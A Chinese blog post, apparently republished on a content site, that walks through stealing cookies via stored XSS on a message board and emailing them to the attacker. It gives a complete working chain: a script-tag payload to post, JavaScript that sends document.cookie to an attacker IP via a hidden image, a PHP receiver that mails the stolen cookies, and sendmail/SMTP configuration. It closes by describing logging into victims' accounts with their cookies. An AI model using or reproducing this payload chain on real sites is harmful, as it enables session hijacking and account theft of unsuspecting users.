美文网首页网络安全我爱编程
XSS获取cookie并发送自己邮箱

XSS获取cookie并发送自己邮箱

作者: BerL1n | 来源:发表于2018-05-23 19:51 被阅读998次
存储型XSS可以打到cookie,然后利用cookie去登陆别人账户,一般大家都使用XSS平台获取cookie,突发奇想,让自己打到的cookie发到邮箱里是不是方便?于是尝试一下XSS获取cookie发送自己邮箱。这里我用自己做的简单留言板做个示范。
图片.png

这是登录界面,输入用户名进去后


图片.png

可以对留言内容进行XSS尝试,因为未作任何过滤,所以存在XSS的,这里不详细演示了,只看怎么获取cookie吧

<script>alert(document.cookie)</script>

图片.png 图片.png

可以看到cookie已经出来了,这里好像我的留言板做的太简单了,因没做任何加密,,可以看到账号密码,不过这不是重点emmm,但这里的cookie只是自己的,这时别人登录也会弹出cookie但只能本人看到,因此我们要想办法获取别人的
然后我自己写了个小脚本,用来获取别人的cookie,同样的方法插入xss代码,如果别人登录将会把别人的cookie发送到我邮箱里。
因为是用php和js写的,所以我这里将php发送qq邮箱的方法说一下,毕竟这是困我好久的难题。
其实方法也不难,不过遇到各种各样的麻烦
关于配置sendmail,这是windows下的配置,ubuntu下没成功,有高手可以指点下。

首先,这里我用的是wamp和用php mail()函数发送的邮件,php mail()函数在windows不能用,需要安装sendmail,假如是用的XAMPP,则已经下载好,不需要重新下载~

1.从http://glob.com.au/sendmail/下载sendmail.zip
2.解压到C(其他一样):下,例如C:\php\sendmail,最好短路径,长路径名有可能产生问题。
3.开启SMTP服务:因为这里我用的qq发送,所以要开启qq邮箱的SMTP服务。
所有的主流邮箱都支持 SMTP 协议,但并非所有邮箱都默认开启,您可以在邮箱的设置里面手动开启。
第三方服务在提供了账号和密码之后就可以登录 SMTP 服务器,通过它来控制邮件的中转方式。
(1)开启邮箱(进入qq邮箱点设置->帐户)

图片.png
(2)验证密保(图片临时找的不方便再)
图片.png
(3)生成授权码(授权码就是下面要用的东西,忘了图一会看到有生成授权码,没必要详记)
图片.png
4.配置sendmail文件:
图片.png
图片.png
以下都是修改项
[sendmail] 
; you must change mail.mydomain.com to your smtp server 
smtp_server=smtp.qq.com 
smtp_port=465 //特别注意:端口这里是465,不是25,网上有很多填25,腾讯邮箱特别说明了为465,还有一个忘了,困死我的地方,一直没发现这有错。
auth_username=QQ号码@qq.com
auth_password=授权码 //注意:这里是qq授权码不是邮箱密码,第一次就栽这个了,,网上有很多写密码的
force_sender=QQ号码@qq.com

5.配置php.ini文件
打开wamp的php.ini然后搜索“[mail function]”,找到下面文本块,修改以下三样


图片.png
[mail function] 
; For Win32 only. 
SMTP = smtp.qq.com //因为是qq邮箱
smtp_port = 25 
; For Win32 only. 
sendmail_from = qq号@qq.com 
; For Unix only. You may supply arguments as well (default: “sendmail -t -i”). 
sendmail_path = “E:\wamp64\sendmail\sendmail.exe -t”//修改成自己的路径

6.到这里就算配置完了,然后重启wamp

然后开始用自己的脚本试试了,php发送邮件的脚本很容易,然后再加上获取cookie的js脚本,就成了

<?php
$cookie = $_GET['joke'];
if(isset($_GET['joke']))
{
$to = "1057032770@qq.com";         // 邮件接收者
$subject = "COOKIE";                // 邮件标题
$message = $_GET['joke'];  // 邮件正文
$from = "1057032770@qq.com";   // 邮件发送者
$headers = "From:" . $from;         // 头部信息设置
mail($to,$subject,$message,$headers);
echo "邮件已发送";
}
else
    echo "邮件发送失败";
?>
var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src = 'http://localhost/Myphp/eamil0.php?joke='+encodeURIComponent(document.cookie);//这里是用本地环境测试的,可以换成自己的ip地址

然后就可以用了

<script src='http://localhost/Myphp/joke.js'></script> //joke.js是我的js文件名

图片.png

将这段代码留言就可以看到cookie了,任何人登录都可以收到他cookie

图片.png

可以看到已经成功收到cookie!!


图片.png

上面是本地测试,这是正常情况下的
比如:服务器的ip地址也就是留言板地址为192.168.xx.xxx,现在我用本机去访问留言板,任何人都可已访问


图片.png
然后我充当攻击者,借用上面方法,修改为自己ip

img.src = 'http://172.21.xx.xxx/Myphp/eamil0.php?joke='+encodeURIComponent(document.cookie); //自己路径

然后在留言板留言

<script src='http://172.21.xx.xxx/Myphp/joke.js'></script>

这样每当受害者去访问服务器也就是登陆留言板就会获取他cookie,然后利用cookie不需要账号密码就可以登录他的号。

相关文章

  • XSS获取cookie并发送自己邮箱

    存储型XSS可以打到cookie,然后利用cookie去登陆别人账户,一般大家都使用XSS平台获取cookie,突...

  • 构造个人轻量级XSS平台获取管理员cookie并登录

    构造个人轻量级XSS平台获取管理员cookie并登录 一、前言 本平台是个人轻量级XSS测试平台,仅作为练习参考。...

  • XSS 利用

    1、xss 获取cookie 2、令目标访问自己的钓鱼网站

  • web安全1

    xss 类型 Dom Based Xss、反射型Xss和存储型Xss 攻击 获取cookie基本是配合csrf一起...

  • 常见的web前端攻击方式有哪些?

    XSS跨站请求攻击 场景: 一个博客网站,我发表一篇博客,其中嵌入 脚本.脚本内容:获取cookie,发送到我的...

  • XSS和CSRF

    xss:跨站点攻击。xss攻击的主要目的是想办法获取目标攻击网站的cookie,因为有了cookie相当于有了se...

  • 常见的Web攻击安全

    一、XSS跨站请求攻击 一个博客网站,我发表一篇博客,其中嵌入 脚本 脚本内容:获取cookie,发送到我的服务器...

  • 与Web相关的 JavaScript 函数

    1、在页面中弹窗显示字符 image.png 2、网页跳转 3、页面cookie值 4、xss 获取cookie ...

  • 前端XSS攻击

    什么是XSS攻击 XSS也称为跨脚本攻击,是一种恶意脚本,可以获取用户得cookie、token、session ...

  • 第十七章 Python_发送邮件

    一、开通邮箱SMTP服务,并获取 授权码 这个账户是你要使用此邮箱发送邮件的账户,密码不是平时登录邮箱的密码,而是...

网友评论

    本文标题:XSS获取cookie并发送自己邮箱

    本文链接:https://www.haomeiwen.com/subject/qdorjftx.html